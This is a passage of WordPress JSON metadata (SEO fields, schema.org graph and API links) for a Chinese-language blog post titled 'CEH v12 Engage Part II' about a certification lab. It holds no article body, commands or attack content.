article","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/","og_locale":"zh_TW","og_type":"article","og_title":"CEH v12 Engage Part II - my article","og_description":"Challenge 1: You are [&hellip;]","og_url":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/","og_site_name":"my article","article_published_time":"2025-04-11T17:00:03+00:00","article_modified_time":"2025-10-07T01:22:22+00:00","og_image":[{"url":"https:\/\/hackmd.io\/_uploads\/SkB9S1q90.png","type":"","width":"","height":""}],"author":"chengyunpu","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005:":"chengyunpu","\u9810\u4f30\u95b1\u8b80\u6642\u9593":"9 \u5206\u9418"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#article","isPartOf":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/"},"author":{"name":"chengyunpu","@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411"},"headline":"CEH v12 Engage Part II","datePublished":"2025-04-11T17:00:03+00:00","dateModified":"2025-10-07T01:22:22+00:00","mainEntityOfPage":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/"},"wordCount":1685,"publisher":{"@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411"},"image":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#primaryimage"},"thumbnailUrl":"https:\/\/hackmd.io\/_uploads\/SkB9S1q90.png","articleSection":["CEH Practical"],"inLanguage":"zh-TW"},{"@type":"WebPage","@id":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/","url":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/","name":"CEH v12 Engage Part II - my article","isPartOf":{"@id":"https:\/\/chengyunpu.com\/wordpress\/#website"},"primaryImageOfPage":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#primaryimage"},"image":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#primaryimage"},"thumbnailUrl":"https:\/\/hackmd.io\/_uploads\/SkB9S1q90.png","datePublished":"2025-04-11T17:00:03+00:00","dateModified":"2025-10-07T01:22:22+00:00","breadcrumb":{"@id":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#breadcrumb"},"inLanguage":"zh-TW","potentialAction":[{"@type":"ReadAction","target":["https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/"]}]},{"@type":"ImageObject","inLanguage":"zh-TW","@id":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#primaryimage","url":"https:\/\/hackmd.io\/_uploads\/SkB9S1q90.png","contentUrl":"https:\/\/hackmd.io\/_uploads\/SkB9S1q90.png"},{"@type":"BreadcrumbList","@id":"https:\/\/chengyunpu.com\/wordpress\/2025\/04\/12\/ceh-v12-engage-part-ii\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9801","item":"https:\/\/chengyunpu.com\/wordpress\/"},{"@type":"ListItem","position":2,"name":"CEH v12 Engage Part II"}]},{"@type":"WebSite","@id":"https:\/\/chengyunpu.com\/wordpress\/#website","url":"https:\/\/chengyunpu.com\/wordpress\/","name":"my article","description":"","publisher":{"@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/chengyunpu.com\/wordpress\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-TW"},{"@type":["Person","Organization"],"@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/f697887c7eea19b57c04d0a2bb4d9411","name":"chengyunpu","image":{"@type":"ImageObject","inLanguage":"zh-TW","@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/8e26f1a47b73420e32e35b25e19c6abf045eb208b1a34d5d90f5d166505983d2?s=96&d=mm&r=g","caption":"chengyunpu"},"logo":{"@id":"https:\/\/chengyunpu.com\/wordpress\/#\/schema\/person\/image\/"},"sameAs":["http:\/\/chengyunpu.com\/wordpress"],"url":"https:\/\/chengyunpu.com\/wordpress\/author\/chengyunpu\/"}]}},"_links":{"self":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts\/93","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/comments?post=93"}],"version-history":[{"count":6,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts\/93\/revisions"}],"predecessor-version":[{"id":101,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/posts\/93\/revisions\/101"}],"wp:attachment":[{"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/media?parent=93"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/categories?post=93"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/chengyunpu.com\/wordpress\/wp-json\/wp\/v2\/tags?post=93"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}